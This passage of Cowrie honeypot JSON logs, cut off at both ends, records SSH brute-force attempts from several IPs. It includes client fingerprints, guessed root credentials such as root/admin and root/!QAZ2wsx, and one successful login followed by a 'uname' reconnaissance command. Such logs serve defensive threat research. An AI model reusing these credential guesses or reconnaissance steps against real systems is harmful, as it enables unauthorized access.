af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:57.951979Z","src_ip":"4.184.246.230","session":"c23eccbeea5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avonline","message":"login attempt [root/avonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:58.282171Z","src_ip":"4.184.246.230","session":"c23eccbeea5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:09:59.369986Z","src_ip":"4.184.246.230","session":"c23eccbeea5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"4379333b8e88","protocol":"ssh","message":"New connection: 103.149.170.125:38362 (159.203.135.109:22) [session: 4379333b8e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:03.601675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:03.607547Z","src_ip":"103.149.170.125","session":"4379333b8e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:03.878290Z","src_ip":"103.149.170.125","session":"4379333b8e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"122333","message":"login attempt [root/122333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:05.005274Z","src_ip":"103.149.170.125","session":"4379333b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35566,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d2da9be121","protocol":"ssh","message":"New connection: 83.168.110.85:35566 (159.203.135.109:22) [session: 44d2da9be121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:06.137630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:06.224070Z","src_ip":"83.168.110.85","session":"44d2da9be121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:06.280235Z","src_ip":"103.149.170.125","session":"4379333b8e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:06.453778Z","src_ip":"83.168.110.85","session":"44d2da9be121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:06.875961Z","src_ip":"83.168.110.85","session":"44d2da9be121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:08.001461Z","src_ip":"83.168.110.85","session":"44d2da9be121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33292,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3306a3c5a7e","protocol":"ssh","message":"New connection: 83.168.110.85:33292 (159.203.135.109:22) [session: e3306a3c5a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:16.921869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:16.931703Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.055551Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.421264Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.714958Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.719014Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.845040Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:17.850104Z","src_ip":"83.168.110.85","session":"e3306a3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7c24acb6de","protocol":"ssh","message":"New connection: 83.168.110.85:41124 (159.203.135.109:22) [session: 1f7c24acb6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:27.185535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:27.218784Z","src_ip":"83.168.110.85","session":"1f7c24acb6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:27.308069Z","src_ip":"83.168.110.85","session":"1f7c24acb6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:27.782659Z","src_ip":"83.168.110.85","session":"1f7c24acb6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:29.011530Z","src_ip":"83.168.110.85","session":"1f7c24acb6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":39656,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b94d32d68b","protocol":"telnet","message":"New connection: 213.108.3.46:39656 (10.17.0.5:23) [session: f2b94d32d68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:33.516473Z"}
{"eventid":"cowrie.session.closed","duration":0.018251419067382812,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:33.534630Z","src_ip":"213.108.3.46","session":"f2b94d32d68b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":35596,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c0658e856a","protocol":"ssh","message":"New connection: 4.184.246.230:35596 (10.17.0.5:22) [session: 78c0658e856a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:34.933268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:34.938339Z","src_ip":"4.184.246.230","session":"78c0658e856a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:35.024251Z","src_ip":"4.184.246.230","session":"78c0658e856a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxxxxx","message":"login attempt [root/xxxxxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:35.397876Z","src_ip":"4.184.246.230","session":"78c0658e856a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:36.490049Z","src_ip":"4.184.246.230","session":"78c0658e856a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33066,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e96a379e621","protocol":"ssh","message":"New connection: 83.168.110.85:33066 (159.203.135.109:22) [session: 2e96a379e621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:37.361491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:37.366373Z","src_ip":"83.168.110.85","session":"2e96a379e621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:37.487741Z","src_ip":"83.168.110.85","session":"2e96a379e621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:37.865792Z","src_ip":"83.168.110.85","session":"2e96a379e621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:39.136278Z","src_ip":"83.168.110.85","session":"2e96a379e621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49656,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2f757dad610","protocol":"ssh","message":"New connection: 77.94.47.83:49656 (159.203.135.109:22) [session: e2f757dad610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:39.797411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:39.801883Z","src_ip":"77.94.47.83","session":"e2f757dad610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:39.927013Z","src_ip":"77.94.47.83","session":"e2f757dad610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu123","message":"login attempt [root/qwertyu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:40.325975Z","src_ip":"77.94.47.83","session":"e2f757dad610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:41.453031Z","src_ip":"77.94.47.83","session":"e2f757dad610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60954,"dst_ip":"159.203.135.109","dst_port":22,"session":"8871bd432cc9","protocol":"ssh","message":"New connection: 83.168.110.85:60954 (159.203.135.109:22) [session: 8871bd432cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:48.181559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:10:48.186909Z","src_ip":"83.168.110.85","session":"8871bd432cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-c